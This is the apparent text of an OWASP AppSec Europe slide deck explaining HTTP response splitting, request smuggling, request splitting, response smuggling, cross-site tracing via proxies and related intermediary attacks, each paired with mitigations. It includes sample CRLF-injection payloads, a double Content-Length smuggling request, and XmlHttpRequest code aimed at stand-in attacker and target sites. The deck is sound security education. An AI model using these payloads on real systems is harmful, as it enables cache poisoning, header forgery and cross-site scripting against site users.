OWASP AppSec Europe Peripheral Web Attacks “Classic” web attacks – focus on server (web) and its backend (app, DB). Acknowledge the existence of a browser… Server attacks (Nimda, CodeRed) Application attacks Back-end/DB attacks (SQL injection, *-injection) Session hijacking, XSS Peripheral web attacks (2004-) – focus on what’s between the server and the client – how introducing HTTP enabled intermediaries makes the system less secure. [A note about virtual hosting]
OWASP AppSec Europe Terminology (HTTP-enabled) Intermediary – an HTTP enabled device/filter/thingy that processes the traffic between the browser and the web server at the HTTP level. Peripheral web attack – an attack against a system that contains at least one HTTP-enabled intermediary, which is made possible due to the introduction of this intermediary. The attack makes use of the data stream (not the control stream).
OWASP AppSec Europe HTTP Enabled Intermediaries Cache server (on-site) Cache server (client side) SSL accelerator (SSL termination) Load balancer Reverse proxy server (on-site) Forward/transparent proxy server (client side) IDS/HTTP-aware firewall Web Application Firewall (WAF) (the browser’s cache) …
OWASP AppSec Europe Root problems Application (insecure code) Liberal HTTP Parsing HTTP connection sharing – breaks some inherent assumptions, “inherent trust” Acting upon HTTP messages at large Caching – less control over the site content as seen by the browser, no “reset”/”versioning”. Serious amplification (time, clients)
OWASP AppSec Europe Terminology HTTP … Splitting – forcing an originator of HTTP messages to emit 2 (or more) valid (RFC- compliant) messages instead of one. HTTP … Smuggling – [forcing] an originator of HTTP messages to emit a stream of data that can be interpreted in more than one way, usually due to non-compliancy to the RFC.
OWASP AppSec Europe The HRS Quartet: Part I – Adagio: HTTP Response Splitting ()
OWASP AppSec Europe The basic idea The security hole – an application that: Embeds user data in HTTP response headers (e.g. Location, Set-Cookie) Does so without sanitizing data This enables the attacker to force the server into sending (on the wire) data that is interpreted as 2 HTTP response messages.
OWASP AppSec Europe Example ASP page (say <% Response.Redirect "http://www.the.site/new_page.asp?lang=" & Request.QueryString("lang") %> Normal request: Normal Response: HTTP/ Redirect Location: Connection: Keep-Alive Content-Length: 0
OWASP AppSec Europe Example (contd.) Attack request Alive%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent- Type:%20text/html%0a%0aContent- Length:%2020%0d%0a%0d%0a Gotcha! Response (actually, 2 responses and some change): HTTP/ Redirect Location: Connection: Keep-Alive Content-Length: 0 HTTP/ OK Content-Type: text/html Content-Length: 20 Gotcha Connection: Keep-Alive Content-Length: 0
OWASP AppSec Europe Web Cache Poisoning Let’s change into a “Gotcha!” page. Participants: Web site (with the vulnerability) Cache proxy server Attacker Attack idea: The attacker sends two requests: 1.HTTP response splitter 2.An innocent request for The proxy server will match the first request to the first response, and the second (“innocent”) request to the second response (the “Gotcha!” page), thus caching the attacker’s contents.
OWASP AppSec Europe Web Cache Poisoning -> Attack Flow Sequence AttackerCache-ProxyWeb Server (Gotcha!) 1 st attacker request (response splitter) 1 st attacker request (response splitter) 2 nd attacker request (innocent /index.html) 2 nd attacker request (innocent /index.html) 200 (Gotcha!) 200 (Welcome)
OWASP AppSec Europe Crossing Wires Response Hijacking, temporary defacement - Slide 15 revisited (see next slide) Doesn’t require caching Requires “connection sharing” (two clients to one server) in the proxy server Theoretic results
OWASP AppSec Europe Attacks round-up We have seen: Web cache poisoning Response hijacking Temporary defacement (server side XSS++) Additionally, there are (check the paper - ) XSS for IE in 3xx scenario (attacks related to virtual hosting)
OWASP AppSec Europe Solution Application level – do not pass “bad” data to the framework (i.e., sanitize CRs and LFs). Framework (ASP, JSP, PHP, …) level – do not embed “bad” data into HTTP response headers. Intermediaries (proxy servers, etc.): Enforce causality (request before response) PSH bit? (see ) Avoid connection sharing Site owners SSL only site (still leaves browser cache and post SSL termination uncovered)
OWASP AppSec Europe The HRS Quartet: Part II – Larghetto: HTTP Request Smuggling ()
OWASP AppSec Europe Basic Idea + Example POST request with double Content-Length header RFC says “thou shalt not”. Liberalism says “let’s try to understand this”. SunONE server (6.1 SP1) takes the first header. SunONE proxy (3.6 SP4) takes the last header.
OWASP AppSec Europe Goal: cache server will cache the content of /poison.html for the resource /welcome.html POST HTTP/ Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: SITE Bla: GET HTTP/1.1 Web cache poisoning (example) Proxy: 1. /foobar.html 2. /welcome.html Server: 1./foobar.html 2./poison.html
OWASP AppSec Europe Example result Proxy sees a second request to /welcome.html, and will cache the second response. Web server sees a second request to /poison.html, so the second response would be the contents of /poison.html. The proxy will cache the contents of /poison.html for the URL /welcome.html Net result – the cache is (partially) poisoned
OWASP AppSec Europe Partial poisoning Unlike “HTTP Response splitting”, there’s no full control over the poisonous payload: Poison must already exist on the server Poison must be cacheable But think blogs, forums, talkbacks, guestbooks, personal pages, ….
OWASP AppSec Europe And it’s not just double Content-Length… Many (battle proven) anomalies Double Content-Length Transfer-Encoding and Content-Length CRLF+CR+CRLF GET with Content-Length CRLF+SP+CRLF IIS 48KB body bug/feature () Many more… Many pairs of vulnerable devices Apache with everything… IIS with everything… Many more…
OWASP AppSec Europe Attack vectors We have seen Partial cache poisoning Additionally, there are (check the paper - ) IPS/IDS/Firewall/WAF bypassing Other tricks similar to HTTP Response Splitting
OWASP AppSec Europe Solution HTTP-enabled intermediary vendors Be strict in what you accept ;-) Ideally: do not “fix” bad data – kill it… (feasible?) Otherwise: “fix” bad data Avoid connection sharing Sites SSL only site Patch
OWASP AppSec Europe The HRS Quartet: Part III – Allegro: HTTP Request Splitting (, )
OWASP AppSec Europe Motivation Goal: (part I) Forging “difficult” headers (e.g. Referer) Importance: subverts “defenses” that rely on Referer, e.g. suggestions for CSRF protection, anti-leaching, etc. (part I) Scanning (e.g. internal networks) Importance: ability to access content of “off site” pages (part II) General XSS (part II) “local defacement” (browser cache poisoning) Usual suspect: XmlHttpRequest Restricted by same origin security policy (enforced by the browser). Now if there’s a proxy (or virtual server)…
OWASP AppSec Europe Attack (Referer spoofing, scanning) Using XmlHttpRequest Sending more 2+ requests instead of one “Under the radar” of the browser Example IE’s XmlHttpRequest object doesn’t allow SP in the method. But HT (\t) is allowed, and so are CR (\r) and LF (\n) The following JS code crafts 2 requests (to the proxy) where IE thinks it’s sending only one Code resides in yet accesses var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target.site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP /1.0\r\nFoobar:","http://www.attacker.site/",false); x.send();
OWASP AppSec Europe Attack (XSS, browser cache poisoning) Example (IE+Squid forward proxy) var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET\thttp://www.attacker.site/du mmy.html\tHTTP/1.1\r\nHost:\twww.attacker.s ite\r\nConnection:\tKeep- Alive\r\n\r\nGET","/payload.html",false); x.send(); window.open("http://www.target.site");
OWASP AppSec Europe Solution Browser vendors Strict sanitation/validation of the various XmlHttpRequest fields (method, URL, headers) Sites SSL only site
OWASP AppSec Europe The HRS Quartet: Part IV – Vivace: HTTP Response Smuggling ()
OWASP AppSec Europe Quick tour Basic setup: HTTP Response Splitting Goal: bypass “anti HTTP Response Splitting” restrictions by crafting non-standard responses Will only work on a portion of the HTTP-enabled entities – those that parse those non-standard responses in a “friendly” manner.
OWASP AppSec Europe Example – bypassing PHP (and 4.4.2) anti HTTP Response Splitting defense Newest PHP releases impose heavy restrictions on LF- infested data sent to header() LF is only allowed when followed by a SP/HT (HTTP header continuation syntax) No more …%0d%0a%0d%0a… exploits Enters HTTP Response Smuggling Using CR only (not CRLF). Non compliance with the RFCs. Still, SunONE 4.0 proxy/cache server happily accepts this and normalizes it. Net effect: HTTP Response Splitting (with all its impact) is still possible, provided that the cache/proxy server accepts CR. See other tricks in the paper ()
OWASP AppSec Europe Solution Application programmers Sanitize data going to HTTP headers against CR and LF. Web server/framework vendors Stricter filtering (no CRs, no LFs) HTTP-enabled intermediaries Reject non RFC-compliant responses Site owners SSL only site
OWASP AppSec Europe Domain Contamination ()
OWASP AppSec Europe Basic scenario You’re hacked Defacement Web cache poisoning Domain hijacking Cyber-squatting (no hacking really) Goal: effectively extending the defacement condition “forever”, esp. after the attack is “reversed”. By carefully designing the attack, the attacker can cause defaced pages to be cached for very long time. Cached pages can Interact with real content (same domain!) Interact with (and direct the victim to ) the attacker’s site
OWASP AppSec Europe Solution Don’t get hacked ;-) Use SSL only (addresses some vectors, not all) No simple solution: Need to extend the cache “protocol”/headers? Other suggestions in 
OWASP AppSec Europe Cross Site Tracing in proxy servers ()
OWASP AppSec Europe Cross-Site Tracing (XST) Strikes Back Original XST () uses TRACE response from the web server. Since 2003, TRACE is usually turned off in web servers. Goal: given XSS condition, extend it to cover HttpOnly cookies and HTTP basic authentication credentials (a-la the original XST) TRACE is also supported by proxy servers. Used with Max-Forwards to “debug” proxy paths. Max-Forwards: 0 The proxy response is just as good… Better yet: the server never sees what (doesn’t) hit it…
OWASP AppSec Europe Solution HTTP-enabled intermediaries Disallow TRACE Browser vendors Disallow TRACE as a method in XmlHttpRequest. Disallow any non-alphanumeric method in XmlHttpRequest.
OWASP AppSec Europe NTLM HTTP Authentication and proxies don’t mix ()
OWASP AppSec Europe NTLM HTTP Authentication and connection sharing NTLM HTTP authentication is connection oriented – the first HTTP request on the TCP connection is authenticated, and the rest don’t need authentication. Goal: piggyback an authenticated connection of a legitimate user. Connection sharing scenario = big problem Microsoft silently added “via” detection, killing the connection-orientedness. But Via is not sent by all proxy servers. Chain of proxies
OWASP AppSec Europe Solution Site owners Abandon NTLM HTTP Auth Proxy vendors Don’t share connections Send VIA by default
OWASP AppSec Europe Common solutions Application level (programmers, browser vendors) Programmers: Sanitation Browser vendors: Browser “bugs” – trivial sanitation… Liberal HTTP Parsing (vendors) Drop (or fix) non-RFC-compliant requests HTTP connection sharing (vendors) Avoid Use SSL (site owners) SSL only websites are transparent to outside-the- perimeter intermediaries, except the browser cache
OWASP AppSec Europe Summary HTTP-enabled intermediaries enable new classes of attacks Previously “safe” features are now root causes Writing to HTTP headers Connection sharing Liberal HTTP parsing Some HTTP features in intermediaries (e.g. TRACE) Caching Site owners have less control HTTP intermediaries outside the perimeter Non-trivial analysis: interaction between intermediaries, server and browser Vulnerability assessment is never comprehensive Mitigation Tip of the iceberg?
OWASP AppSec Europe Q&A
OWASP AppSec Europe References  “Meanwhile, on the other side of the web server” (Amit Klein, June 2005)  “Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics” (Amit Klein, March 2004)  “HTTP Request Smuggling” (Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, June 2005)  “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)” (Amit Klein, September 2005)  “Cross-Site Tracing (XST)” (Jeremiah Grossman, January 2003)  “XST Strikes Back” (Amit Klein, January 2006)  “Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level” (Amit Klein, August 2005)  “NTLM HTTP Authentication is Insecure by Design” (Amit Klein, July 2005)  “Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...” (Amit Klein, September 2005)  “Domain Contamination” (Amit Klein, January 2006)  “HTTP Response Smuggling” (Amit Klein, March 2006)  “IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)” (Amit Klein, May 2006)